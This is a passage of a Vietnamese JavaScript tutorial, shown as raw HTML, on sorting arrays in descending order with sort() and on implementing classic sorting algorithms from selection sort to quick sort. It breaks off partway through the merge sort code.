1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp mảng numbers theo thứ tự giảm dần</h3> <p>Để sắp xếp mảng numbers <strong>theo thứ tự giảm dần</strong>, bạn chỉ cần thay đổi nội dung hàm <code>compareNumbers</code>. Thay vì trả về <code>a - b</code> thì bây giờ trả về <code>b - a</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">,</span> <span class="token number">45</span><span class="token punctuation">,</span> <span class="token number">33</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">a<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> b <span class="token operator">-</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [100, 45, 33, 9]</span></code></pre></div> <p>Bây giờ, khi <code>a</code> nhỏ hơn <code>b</code> thì <code>b - a > 0</code>. Suy ra, <code>a</code> sẽ đứng sau <code>b</code>. Nói cách khác, số nhỏ hơn sẽ đứng sau. Do đó, kết quả thu được là <strong>dãy số giảm dần</strong> như trên.</p> <p>Trên đây là cách sử dụng hàm <code>sort()</code> để sắp xếp mảng trong JavaScript.</p> <p>Nhưng nếu bạn không muốn sử dụng hàm mặc định này, bạn vẫn có thể tự viết lại hàm sắp xếp sử dụng một số thuật toán sắp xếp cơ bản.</p> <h2 id="sắp-xếp-mảng-trong-javascript-sử-dụng-thuật-toán" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-m%E1%BA%A3ng-trong-javascript-s%E1%BB%AD-d%E1%BB%A5ng-thu%E1%BA%ADt-to%C3%A1n" aria-label="sắp xếp mảng trong javascript sử dụng thuật toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp mảng trong JavaScript sử dụng thuật toán</h2> <p>Nếu bạn từng học ít nhất một ngôn ngữ lập trình như C/C++, Java,... thì mình dám chắc là bạn đã <strong>từng triển khai thuật toán sắp xếp</strong> rồi.</p> <p>Một số thuật toán cơ bản như:</p> <ul> <li>Thuật toán sắp xếp chọn trực tiếp - Selection Sort</li> <li>Sắp xếp chèn trực tiếp - Insertion Sort</li> <li>Sắp xếp chèn trực tiếp dựa trên tìm kiếm nhị phân - Binary Insertion Sort</li> <li>Thuật toán sắp xếp đổi chỗ trực tiếp - Interchange Sort</li> <li>Sắp xếp nổi bọt - Bubble Sort</li> <li>Thuật toán Shaker Sort</li> <li>Sắp xếp nhanh - Quick Sort</li> <li>Sắp xếp trộn - Merge Sort</li> <li>Sắp xếp vun đống - Heap Sort</li> </ul> <p>Sau đây, mình chia sẻ cách triển khai các thuật toán sắp xếp mảng trong JavaScript.</p> <h3 id="array-sorting-với-sắp-xếp-chọn-trực-tiếp---selection-sort" style="position:relative;"><a href="#array-sorting-v%E1%BB%9Bi-s%E1%BA%AFp-x%E1%BA%BFp-ch%E1%BB%8Dn-tr%E1%BB%B1c-ti%E1%BA%BFp---selection-sort" aria-label="array sorting với sắp xếp chọn trực tiếp selection sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Array sorting với sắp xếp chọn trực tiếp - Selection Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">selectionSort</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> array<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> idmin <span class="token operator">=</span> i<span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> array<span class="token punctuation">.</span>length<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">&lt;</span> array<span class="token punctuation">[</span>idmin<span class="token punctuation">]</span><span class="token punctuation">)</span> idmin <span class="token operator">=</span> j<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// swap</span> <span class="token keyword">let</span> t <span class="token operator">=</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>idmin<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>idmin<span class="token punctuation">]</span> <span class="token operator">=</span> t<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="sắp-xếp-chèn-trực-tiếp---insertion-sort" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-ch%C3%A8n-tr%E1%BB%B1c-ti%E1%BA%BFp---insertion-sort" aria-label="sắp xếp chèn trực tiếp insertion sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp chèn trực tiếp - Insertion Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">insertionSort</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> pos<span class="token punctuation">,</span> x<span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> array<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> pos <span class="token operator">=</span> i <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> x <span class="token operator">=</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>pos <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> array<span class="token punctuation">[</span>pos<span class="token punctuation">]</span> <span class="token operator">></span> x<span class="token punctuation">)</span> <span class="token punctuation">{</span> array<span class="token punctuation">[</span>pos <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>pos<span class="token punctuation">]</span><span class="token punctuation">;</span> pos<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> array<span class="token punctuation">[</span>pos <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="sắp-xếp-chèn-trực-tiếp-dựa-trên-tìm-kiếm-nhị-phân---binary-insertion-sort" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-ch%C3%A8n-tr%E1%BB%B1c-ti%E1%BA%BFp-d%E1%BB%B1a-tr%C3%AAn-t%C3%ACm-ki%E1%BA%BFm-nh%E1%BB%8B-ph%C3%A2n---binary-insertion-sort" aria-label="sắp xếp chèn trực tiếp dựa trên tìm kiếm nhị phân binary insertion sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp chèn trực tiếp dựa trên tìm kiếm nhị phân - Binary Insertion Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">binaryInsertionSort</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> l<span class="token punctuation">,</span> r<span class="token punctuation">,</span> m<span class="token punctuation">,</span> x<span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> array<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> l <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> r <span class="token operator">=</span> i <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> x <span class="token operator">=</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>l <span class="token operator">&lt;=</span> r<span class="token punctuation">)</span> <span class="token punctuation">{</span> m <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span><span class="token punctuation">(</span>l <span class="token operator">+</span> r<span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>m<span class="token punctuation">]</span> <span class="token operator">></span> x<span class="token punctuation">)</span> r <span class="token operator">=</span> m <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">else</span> l <span class="token operator">=</span> m <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> i<span class="token punctuation">;</span> j <span class="token operator">></span> l<span class="token punctuation">;</span> j<span class="token operator">--</span><span class="token punctuation">)</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>j <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>l<span class="token punctuation">]</span> <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="sắp-xếp-đổi-chỗ-trực-tiếp---interchange-sort" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-%C4%91%E1%BB%95i-ch%E1%BB%97-tr%E1%BB%B1c-ti%E1%BA%BFp---interchange-sort" aria-label="sắp xếp đổi chỗ trực tiếp interchange sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp đổi chỗ trực tiếp - Interchange Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">interChangeSort</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> array<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> array<span class="token punctuation">.</span>length<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">&lt;</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> t <span class="token operator">=</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> t<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="sắp-xếp-nổi-bọt---bubble-sort" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-n%E1%BB%95i-b%E1%BB%8Dt---bubble-sort" aria-label="sắp xếp nổi bọt bubble sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp nổi bọt - Bubble Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">bubbleSort</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> array<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> array<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> j <span class="token operator">></span> i<span class="token punctuation">;</span> j<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">&lt;</span> array<span class="token punctuation">[</span>j <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> t <span class="token operator">=</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>j <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>j <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> t<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="thuật-toán-shaker-sort" style="position:relative;"><a href="#thu%E1%BA%ADt-to%C3%A1n-shaker-sort" aria-label="thuật toán shaker sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuật toán Shaker Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">shakerSort</span><span class="token punctuation">(</span><span class="token parameter">array</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> left<span class="token punctuation">,</span> right<span class="token punctuation">,</span> k<span class="token punctuation">;</span> left <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> right <span class="token operator">=</span> array<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> k <span class="token operator">=</span> array<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>left <span class="token operator">&lt;</span> right<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> right<span class="token punctuation">;</span> j <span class="token operator">></span> left<span class="token punctuation">;</span> j<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">&lt;</span> array<span class="token punctuation">[</span>j <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> t <span class="token operator">=</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>j <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>j <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> t<span class="token punctuation">;</span> k <span class="token operator">=</span> j<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> left <span class="token operator">=</span> k<span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> left<span class="token punctuation">;</span> j <span class="token operator">&lt;</span> right<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">></span> array<span class="token punctuation">[</span>j <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> t <span class="token operator">=</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>j <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>j <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> t<span class="token punctuation">;</span> k <span class="token operator">=</span> j<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> right <span class="token operator">=</span> k<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="sắp-xếp-nhanh---quick-sort" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-nhanh---quick-sort" aria-label="sắp xếp nhanh quick sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp nhanh - Quick Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">quickSort</span><span class="token punctuation">(</span><span class="token parameter">array<span class="token punctuation">,</span> left<span class="token punctuation">,</span> right</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> l <span class="token operator">=</span> left<span class="token punctuation">,</span> r <span class="token operator">=</span> right<span class="token punctuation">;</span> <span class="token keyword">let</span> m <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span><span class="token punctuation">(</span>l <span class="token operator">+</span> r<span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> pivot <span class="token operator">=</span> array<span class="token punctuation">[</span>m<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>l <span class="token operator">&lt;=</span> r<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>l<span class="token punctuation">]</span> <span class="token operator">&lt;</span> pivot<span class="token punctuation">)</span> l<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>r<span class="token punctuation">]</span> <span class="token operator">></span> pivot<span class="token punctuation">)</span> r<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>l <span class="token operator">&lt;=</span> r<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> t <span class="token operator">=</span> array<span class="token punctuation">[</span>l<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>l<span class="token punctuation">]</span> <span class="token operator">=</span> array<span class="token punctuation">[</span>r<span class="token punctuation">]</span><span class="token punctuation">;</span> array<span class="token punctuation">[</span>r<span class="token punctuation">]</span> <span class="token operator">=</span> t<span class="token punctuation">;</span> l<span class="token operator">++</span><span class="token punctuation">;</span> r<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>l <span class="token operator">&lt;</span> right<span class="token punctuation">)</span> <span class="token function">quickSort</span><span class="token punctuation">(</span>array<span class="token punctuation">,</span> l<span class="token punctuation">,</span> right<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>r <span class="token operator">></span> left<span class="token punctuation">)</span> <span class="token function">quickSort</span><span class="token punctuation">(</span>array<span class="token punctuation">,</span> left<span class="token punctuation">,</span> r<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="sắp-xếp-trộn---merge-sort" style="position:relative;"><a href="#s%E1%BA%AFp-x%E1%BA%BFp-tr%E1%BB%99n---merge-sort" aria-label="sắp xếp trộn merge sort permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sắp xếp trộn - Merge Sort</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">merge</span><span class="token punctuation">(</span><span class="token parameter">array<span class="token punctuation">,</span> left<span class="token punctuation">,</span> m<span class="token punctuation">,</span> right</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> l <span class="token operator">=</span> left<span class="token punctuation">,</span> r <span class="token operator">=</span> m <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> tmp <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>l <span class="token operator">&lt;=</span> m <span class="token operator">&amp;&amp;</span> r <span class="token operator">&lt;=</span> right<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>array<span class="token punctuation">[</span>l<span class="token punctuation">]</span> <span class="token operator">&lt;</span> array<span class="token punctuation">[</span>r<span class="token punctuation">]</span><span class="token punctuation">)</span> tmp<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>array<span class="token punctuation">[</span>l<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> tmp<span class="token punctuation">.</span><span 